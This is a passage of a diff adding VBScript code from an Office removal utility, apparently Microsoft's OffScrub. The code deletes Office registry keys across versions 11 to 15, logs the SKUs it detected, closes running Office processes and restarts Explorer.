+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","LobiServer", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","BCSSync", False
+            RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\Outlook\"
+        End If
+        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Office\" & OVERSION & "\"
+        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
+
+        Select Case OVERSIONMAJOR
+        Case "11"
+            'Jet_Replication
+            sValue = ""
+            If RegReadValue(HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32","SystemDB",sValue,"REG_SZ") Then
+                If Len(sValue) > Len(sOInstallRoot) Then
+                    If LCase(Left(sValue,Len(sOInstallRoot))) = LCase(sOInstallRoot) Then RegDeleteKey HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32\"
+                End If
+            End If
+        Case "12"
+        Case "14"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform_Test\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Common\ActiveX Compatibility\{{00024512-0000-0000-C000-000000000046}\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\OneNote\Adapters\","{{456B0D0E-49DD-4C95-8DB6-175F54DE69A3}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{42042206-2D85-11D3-8CFF-005004838597}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{993BE281-6695-4BA5-8A2A-7AACBFAAB69E}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{0006F045-0000-0000-C000-000000000046}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{7CCA70DB-DE7A-4FB7-9B2B-52E2335A3B5A}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{506F4668-F13E-4AA1-BB04-B43203AB3CC0}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{D66DC78C-4F61-447F-942B-3FB6980118CF}", False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{B4F3A835-0E21-4959-BA22-42B3008E02FF}\"
+            'Groove Extensions
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{99FD978C-D287-4F50-827F-B2C658EDA8E7}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{AB5C5600-7E6E-4B06-9197-9ECEF74D31CC}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{920E6DB1-9907-4370-B3A0-BAFC03D81399}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{16F3DD56-1AF5-4347-846D-7C10C4192619}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2916C86E-86A6-43FE-8112-43ABE6BF8DCC}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{6C467336-8281-4E60-8204-430CED96822D}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2A541AE1-5BF6-4665-A8A3-CFA9672E4291}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{A449600E-1DC6-4232-B948-9BD794D62056}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{3D60EDA7-9AB4-4DA8-864C-D9B5F2E7281D}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{387E725D-DC16-4D76-B310-2C93ED4752A0}", False
+            RegDeleteKey HKLM,"SOFTWARE\Classes\*\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\Background\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 1 (GFS Unread Stub)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2 (GFS Stub)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2.5 (GFS Unread Folder)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 3 (GFS Folder)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 4 (GFS Unread Mark)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}\"
+
+        Case 15
+
+        Case Else
+        End Select
+
+        'Win32Assemblies
+        Log " - Win32Assemblies"
+        If RegEnumKey(HKCR,"Installer\Win32Assemblies\",arrKeys) Then
+            For Each Item in arrKeys
+                If InStr(UCase(Item),OREF)>0 Then RegDeleteKey HKCR,"Installer\Win32Assemblies\"&Item & "\"
+            Next 'Item
+        End If 'RegEnumKey
+        'Groove blocks reinstall if it locates groove.exe over this key
+        If RegKeyExists(HKCR,"GrooveFile\Shell\Open\Command\") Then
+            sValue = ""
+            RegReadValue HKCR,"GrooveFile\Shell\Open\Command\","",sValue,"REG_SZ"
+            If InStr(sValue,"\"&OREF&"\")>0 Then RegDeleteKey HKCR,"GrooveFile\"
+        End If 'RegKeyExists
+    End If 'fRemoveAll
+
+    Select Case OVERSIONMAJOR
+    Case "11"
+        For iLoopCnt = 1 to 3
+            Select Case iLoopCnt
+            Case 1
+                'CIW - HKCU
+                sSubKeyName = "Software\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
+                hDefKey = HKCU
+            Case 2
+                'CIW - HKLM
+                sSubKeyName = "SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
+                hDefKey = HKLM
+            Case 3
+                'Add/Remove Programs
+                sSubKeyName = REG_ARP
+                hDefKey = HKLM
+            End Select
+
+            If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
+                For Each Item in arrKeys
+                    'OFFICEID id
+                    If Len(Item)>37 Then
+                        sGuid = UCase(Left(Item,38))
+                        If Right(sGuid,PRODLEN)=OFFICEID Then
+                            If CheckDelete(sGuid) Then
+                                RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                            End If
+                        End If 'Right(Item,PRODLEN)=OFFICEID
+                    End If 'Len(Item)>37
+                Next 'Item
+                If iLoopCnt < 3 Then
+                    If RegEnumValues(hDefKey,sSubKeyName,arrNames,arrTypes) Then
+                        i = 0
+                        For Each Name in arrNames
+                            If RegReadValue(hDefKey,sSubKeyName,Name,sValue,arrTypes(i)) Then
+                                If sValue = sGuid Then RegDeleteValue hDefKey,sSubKeyName,Name, False
+                            End If
+                            i = i + 1
+                        Next
+                    End If
+                End If
+            End If
+            If NOT RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\"
+            If NOT RegEnumKey(hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\",arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\"
+        Next 'iLoopCnt
+    Case "12"
+        'Add/Remove Programs
+        RegWipeARP
+    Case "14"
+        'Add/Remove Programs
+        RegWipeARP
+    Case Else
+    End Select
+
+    'UpgradeCodes, WI config, WI global config
+    For iLoopCnt = 1 to 5
+        Select Case iLoopCnt
+        Case 1
+            Log " - HKLM UpgradeCodes"
+            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\"
+            hDefKey = HKLM
+        Case 2
+            Log " - HKCR UpgradeCodes"
+            sSubKeyName = "Installer\UpgradeCodes\"
+            hDefKey = HKCR
+        Case 3
+            Log " - HKLM Products"
+            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\"
+            hDefKey = HKLM
+        Case 4
+            Log " - HKCR Features"
+            sSubKeyName = "Installer\Features\"
+            hDefKey = HKCR
+        Case 5
+            Log " - HKCR Products"
+            sSubKeyName = "Installer\Products\"
+            hDefKey = HKCR
+        Case Else
+            sSubKeyName = ""
+            hDefKey = ""
+        End Select
+        If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
+            For Each Item in arrKeys
+                'Ensure we have the expected length for a compressed GUID
+                If Len(Item)=32 Then
+                    'Expand the GUID
+                    sGuid = GetExpandedGuid(Item)
+                    'Check if it's an Office key
+                    If CheckDeleteEx (sGuid) Then
+                        RegDeleteKey hDefKey,sSubKeyName & Item & "\"
+                    Else
+                        If iLoopCnt < 3 Then
+                            'Enum all entries
+                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
+                            If IsArray(arrNames) Then
+                                'Delete entries within removal scope
+                                For Each Name in arrNames
+                                    If Len(Name)=32 Then
+                                        sGuid = GetExpandedGuid(Name)
+                                        If CheckDelete(sGuid) Then RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
+                                    Else
+                                        'Invalid data -> delete the value
+                                        RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
+                                    End If
+                                Next 'Name
+                            End If 'IsArray(arrNames)
+                            'If all entries were removed - delete the key
+                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
+                            If Not IsArray(arrNames) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                        Else 'iLoopCnt >= 3
+                            If CheckDelete(sGuid) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                        End If 'iLoopCnt < 3
+                    End If 'fRemoveAll
+                End If 'Len(Item)=32
+            Next 'Item
+        End If 'RegEnumKey
+    Next 'iLoopCnt
+
+    'Components
+    Log " - Global Components"
+    sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            'Ensure we have the expected length for a compressed GUID
+            If Len(Item)=32 Then
+                If RegEnumValues(HKLM,sSubKeyName & Item,arrNames,arrTypes) Then
+                    If IsArray(arrNames) Then
+                        For Each Name in arrNames
+                            If Len(Name)=32 Then
+                                sGuid = GetExpandedGuid(Name)
+                                If CheckDelete(sGuid) Then
+                                    RegDeleteValue HKLM, sSubKeyName & Item & "\", Name, False
+                                    'Check if the key is now empty
+                                    If NOT RegEnumValues(HKLM,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
+                                        If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
+                                    End If
+                                End If
+                            End If '32
+                        Next 'Name
+                    End If 'IsArray
+                End If 'RegEnumValues
+            End If '32
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Published Components
+    Log " - Published Components"
+    sSubKeyName = "Installer\Components\"
+    If RegEnumKey(HKCR,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            'Ensure we have the expected length for a compressed GUID
+            If Len(Item)=32 Then
+                If RegEnumValues(HKCR,sSubKeyName & Item,arrNames,arrTypes) Then
+                    If IsArray(arrNames) Then
+                        For Each Name in arrNames
+                            If RegReadValue (HKCR,sSubKeyName & Item, Name, sValue,"REG_MULTI_SZ") Then
+                                arrMultiSzValues = Split(sValue,chr(34))
+                                If IsArray(arrMultiSzValues) Then
+                                    i = -1
+                                    ReDim arrMultiSzNewValues(-1)
+                                    fDelReg = False
+                                    For Each value in arrMultiSzValues
+                                        If Len(value) > 19 Then
+                                            sGuid = ""
+                                            If GetDecodedGuid(Left(value,SQUISHED),sGuid) Then
+                                                If CheckDelete(sGuid) Then
+                                                    fDelReg = True
+                                                Else
+                                                    i = i + 1
+                                                    ReDim Preserve arrMultiSzNewValues(i)
+                                                    arrMultiSzNewValues(i) = value
+                                                End If 'CheckDelete
+                                            End If 'decode
+                                        End If '19
+                                    Next 'Value
+                                    If NOT (i = -1) Then
+                                        If NOT fDetectOnly Then
+                                            If NOT UBound(arrMultiSzValues) = i Then oReg.SetMultiStringValue HKCR,sSubKeyName & Item,Name,arrMultiSzNewValues
+                                        End If
+                                    Else
+                                        If fDelReg Then
+                                            RegDeleteValue HKCR,sSubKeyName & Item & "\", Name, False
+                                            'Check if the key is now empty
+                                            If NOT RegEnumValues(HKCR,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
+                                                If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
+                                            End If
+                                        End If 'DelReg
+                                    End If
+                                End If 'IsArray
+                            End If
+                        Next 'Name
+                    End If 'IsArray
+                End If 'RegEnumValues
+            End If '32
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Delivery
+    Log " - Delivery"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\Delivery\SourceEngine\Downloads\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item) > 37 Then
+                If fRemoveAll Then
+                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) OR _
+                       LCase(Right(Item,7))=OVERSIONMAJOR&".data" Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+                Else
+                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) AND _
+                       CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+                End If
+            End If '37
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Registration
+    Log " - HKLM Registration"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\Registration\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item)>37 Then
+                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+    'User Preconfigurations
+    Log " - HKLM User Preconfigurations"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\User Settings\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item)>37 Then
+                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Known Keypath settings
+    Log " - Detcted KeyPath settings"
+    For Each key in dicDelRegKey.Keys
+        If Right(key,1) = "\" Then
+            RegDeleteKey dicDelRegKey.Item(key),key
+        Else
+            iPos = InStrRev(Key,"\")
+            If iPos > 0 Then RegDeleteValue dicDelRegKey.Item(key), Left(key,iPos - 1), Mid(key,iPos+1), False
+        End If
+    Next
+
+    'Temporary entries in ARP
+    TmpKeyCleanUp
+End Sub 'RegWipe
+'=======================================================================================================
+
+'Clean up Add/Remove Programs registry
+Sub RegWipeARP
+
+    Dim Item, Name, Sku, key
+    Dim sSubKeyName, sCurKey, sValue, sGuid
+    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
+    Dim arrKeys
+
+    'Add/Remove Programs
+    sSubKeyName = REG_ARP
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            '*0FF1CE*
+            If Len(Item)>37 Then
+                sGuid = UCase(Left(Item,38))
+                If CheckDeleteEx(sGuid) Then RegDeleteKey HKLM, sSubKeyName & Item
+            End If 'Len(Item)>37
+
+            'Config entries
+            sCurKey = sSubKeyName & Item & "\"
+            fSystemComponent0 = Not (RegReadValue(HKLM,sCurKey,"SystemComponent",sValue,"REG_DWORD") AND (sValue = "1"))
+            fPackages = RegReadValue(HKLM,sCurKey,OPACKAGE,sValue,"REG_MULTI_SZ")
+            fDisplayVersion = RegReadValue(HKLM,sCurKey,"DisplayVersion",sValue,"REG_SZ")
+            If fDisplayVersion AND Len(sValue) > 1 Then
+                fDisplayVersion = (Left(sValue,2) = OVERSIONMAJOR)
+            End If
+            If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
+                fKeep = False
+                If Not fRemoveAll Then
+                    For Each Sku in dictionaryKeepSku.Keys
+                        If UCase(Item) = OREGREF & Sku Then
+                            fkeep = True
+                            Exit For
+                        End If
+                    Next 'Sku
+                End If
+                If Not fkeep Then RegDeleteKey HKLM, sSubKeyName & Item
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+End Sub 'RegWipeARP
+'=======================================================================================================
+
+'Clean up temporary registry keys
+Sub TmpKeyCleanUp
+    Dim TmpKey
+
+    If fLogInitialized Then Log " - temporary OffScrub registry entries"
+    If IsArray(arrTmpSKUs) Then
+        For Each TmpKey in arrTmpSKUs
+            oReg.DeleteKey HKLM, REG_ARP & TmpKey
+        Next 'Item
+    End If 'IsArray
+End Sub 'TmpKeyCleanUp
+
+'=======================================================================================================
+' Helper Functions
+'=======================================================================================================
+
+'Create a log with the results of the SKU detection
+Sub LogSkuResults
+    Dim SkuLog, SkuKey , p
+
+    On Error Resume Next 'Don't fail on logging
+
+    Set SkuLog = oFso.OpenTextFile(sScrubDir & "\SkuLog.txt",FOR_WRITING,True,True)
+
+    SkuLog.WriteLine "Installed SKUs (All):"
+    SkuLog.WriteLine "====================="
+    For Each SkuKey in dicInstalledSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Server SKUs:"
+    SkuLog.WriteLine          "============"
+    For Each SkuKey in dicSrv.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Client Suite SKUs:"
+    SkuLog.WriteLine          "=================="
+    For Each SkuKey in dicCSuite.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Client Standalone SKUs:"
+    SkuLog.WriteLine          "======================="
+    For Each SkuKey in dicCSingle.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Installed Products (All):"
+    SkuLog.WriteLine          "========================="
+    For Each p in oMsi.Products
+        If InScope(p) Then
+            SkuLog.Write " - " & p & " - "
+            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+            SkuLog.WriteLine " "
+        End If
+    Next 'Product
+
+    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
+
+    SkuLog.WriteLine vbCrLf & "SKUs to keep:"
+    SkuLog.WriteLine          "============="
+    For Each SkuKey in dictionaryKeepSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Products to keep:"
+    SkuLog.WriteLine          "================="
+    For Each p in dictionaryKeepProd.Keys
+        SkuLog.Write " - " & p & " - "
+        SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+        SkuLog.WriteLine " "
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
+
+    SkuLog.WriteLine vbCrLf & "SKUs to remove:"
+    SkuLog.WriteLine          "==============="
+    For Each SkuKey in dicRemoveSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Products to remove:"
+    SkuLog.WriteLine          "==================="
+    For Each p in oMsi.Products
+        If CheckDeleteEx(p) Then
+            SkuLog.Write " - " & p & " - "
+            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+            SkuLog.WriteLine " "
+        End If 'InScope
+    Next 'Product
+
+    SkuLog.Close
+    Set SkuLog = Nothing
+
+End Sub 'LogSkuResults
+'=======================================================================================================
+
+'End all running instances of applications that will be removed
+Sub CloseOfficeApps
+    Dim Processes, Process, prop
+    Dim fWait
+    Dim iRet
+
+    On Error Resume Next
+
+    fWait = False
+    Log " Doing Action: CloseOfficeApps"
+
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process")
+    For Each Process in Processes
+        If dicApps.Exists(LCase(Process.Name)) Then
+            Log " - End process " & Process.Name
+            iRet = Process.Terminate()
+            CheckError "CloseOfficeApps: " & "Process.Name"
+        Else
+            For Each prop in Process.Properties_
+                If prop.Name = "ExecutablePath" Then
+                    If InStr(UCase(prop.Value), UCase(sOInstallRoot)) > 0 Then
+                        Log " - End process '" & Process.Name
+                        iRet = Process.Terminate()
+                        CheckError "CloseOfficeApps: " & "Process.Name"
+                        fWait = True
+                    End If
+                End If 'ExcecutablePath
+            Next 'prop
+        End If
+    Next 'Process
+    If fWait Then
+        wscript.sleep 10000
+    End If
+    LogOnly " End Action: CloseOfficeApps"
+End Sub 'CloseOfficeApps
+'=======================================================================================================
+
+'Ensure Windows Explorer is restarted if needed
+Sub RestoreExplorer
+    Dim Processes, Result, oAT, DateTime, JobID
+    Dim sCmd
+
+    'Non critical routine. Don't fail on error
+    On Error Resume Next
+    wscript.sleep 1000
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='explorer.exe'")
+    If Processes.Count < 1 Then
+        oWShell.Run "explorer.exe"
+        'To handle this in case of System context, schedule and run as interactive task
+        If iVersionNT > 502 Then
+            'Vista and later
+            oWShell.Run "SCHTASKS /Create /TN OffScrEx /TR explorer /SC ONCE /ST 12:00 /IT",0,True
+            oWShell.Run "SCHTASKS /Run /TN OffScrEx", 0, True
+            oWShell.Run "SCHTASKS /Delete /TN OffScrEx /F", 0, False
+        Else
+            Set oAT = oWmiLocal.Get("Win32_ScheduledJob")
+            Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
+            DateTime.SetVarDate DateAdd("n",1,Now),True
+            Result = oAT.Create("explorer.exe", DateTime.Value, , , , True, JobID)
+        End If 'iVersionNT
+    End If
+End Sub 'RestoreExploer
+'=======================================================================================================
+
+'Returns the delimiter for a passed in string
+Function Delimiter (sVersion)
+
+    Dim iCnt, iAsc
+
+    Delimiter = " "
+    For iCnt = 1 To Len(sVersion)
+        iAsc = Asc(Mid(sVersion, iCnt, 1))
+        If Not (iASC >= 48 And iASC <= 57) Then
+            Delimiter = Mid(sVersion, iCnt, 1)
+            Exit Function
+        End If
+    Next 'iCnt
+End Function
+'=======================================================================================================
+
+'Check registry access permissions. Failure will terminate the script
+Function CheckRegPermissions
+    Const KEY_QUERY_VALUE       = &H0001
+    Const KEY_SET_VALUE         = &H0002
+    Const KEY_CREATE_SUB_KEY    = &H0004
+    Const DELETE                = &H00010000
+
+    Dim sSubKeyName
+    Dim fReturn
+
+    CheckRegPermissions = True
+    sSubKeyName = "Software\Microsoft\Windows\"
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_QUERY_VALUE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_SET_VALUE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_CREATE_SUB_KEY, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, DELETE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+
+End Function 'CheckRegPermissions
+'=======================================================================================================
+
+'Check if a product will be removed
+Function CheckDeleteEx (sProductCode)
+
+    CheckDeleteEx = False
+    If CheckDelete (sProductCode) Then
+        CheckDeleteEx = True
+        Exit Function
+    End If
+    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
+        CheckDeleteEx = InScope(sProductCode) AND NOT dictionaryKeepProd.Exists(UCase(sProductCode))
+    End If
+End Function 'CheckDelete
+'=======================================================================================================
+
+'Check if an Office product is still registered with a SKU that stays on the computer
+Function CheckDelete (sProductCode)
+
+    'Ensure valid GUID length
+    If NOT Len(sProductCode) = 38 Then
+        CheckDelete = False
+        Exit Function
+    End If
+
+    'If it's a non Office ProductCode exit with false right away
+    CheckDelete = InScope(sProductCode)
+    If Not CheckDelete Then Exit Function
+    If dictionaryKeepProd.Exists(UCase(sProductCode)) Then CheckDelete = False
+
+End Function 'CheckDelete
+'=======================================================================================================
+
+'Check if ProductCode is in scope
+Function InScope(sProductCode)
+
+    Dim fInScope
+    Dim sProd
+
+    fInScope = False
+    If Len(sProductCode) = 38 Then
+        sProd = UCase(sProductCode)
+        Select Case OVERSIONMAJOR
+        Case "11"
+            If Right(sProd,PRODLEN)=OFFICEID Then fInScope = True
+        Case "12"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
+        Case "14"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
+        Case "15"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then
+                Select Case Mid(sProd, 11, 4)
+                Case "007E", "008F", "008C", "24E1", "237A"
+                    ' C2R products - keep them
+                Case Else
+                    fInScope = True
+                End Select
+            End If
+        Case Else
+        End Select
+    End If '38
+
+    InScope = fInScope
+End Function 'InScope
+'=======================================================================================================
+
+'Register an orphaned .msi product as installed for MSI
+Sub MsiRegisterProduct (sMsiFile)
+
+    Dim sDisplayVersion, sCurKey, sDisplayName, sLang, sProductCode, sTmpKey
+    Dim iCnt
+
+    'Create a temporary keys to simulate an installed product
+    sProductCode = ""
+    sProductCode = GetMsiProductCode(sMsiFile)
+    sDisplayVersion = GetMsiProductVersion(sMsiFile)
+    If sDisplayVersion = "" Then sDisplayVersion = OVERSION & ".0000.0000"
+    sDisplayName = GetMsiProductName(sMsiFile)
+    If sDisplayName = "" Then sDisplayName = sProductCode
+    Select Case OVERSIONMAJOR
+    Case "9","10","11"
+        sLang = CInt("&h" & Mid(sProductCode,6,4))
+    Case "12","14"
+        sLang = CInt("&h" & Mid(sProductCode,16,4))
+    Case Else
+    End Select
+
+    For iCnt = 1 To 3
+        Select Case iCnt
+        Case 1
+            sCurKey = REG_ARP & sProductCode
+            oReg.CreateKey HKLM,sCurKey
+        Case 2
+            sCurKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\" & GetCompressedGuid(sProductCode)
+            oReg.CreateKey HKLM,sCurKey
+            oReg.CreateKey HKLM,sCurKey & "\Features"
+            oReg.CreateKey HKLM,sCurKey & "\InstallProperties"
+            oReg.CreateKey HKLM,sCurKey & "\Patches"
+            oReg.CreateKey HKLM,sCurKey & "\Usage"
+            sCurKey = sCurKey & "\InstallProperties"
+            oReg.SetStringValue HKLM,sCurKey,"LocalPackage",sMsiFile
+        Case 3
+            sCurKey = "Installer\Products\" & GetCompressedGuid(sProductCode)
+            sTmpKey = sCurKey
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetDWordValue HKCR,sCurKey,"AdvertiseFlags",388
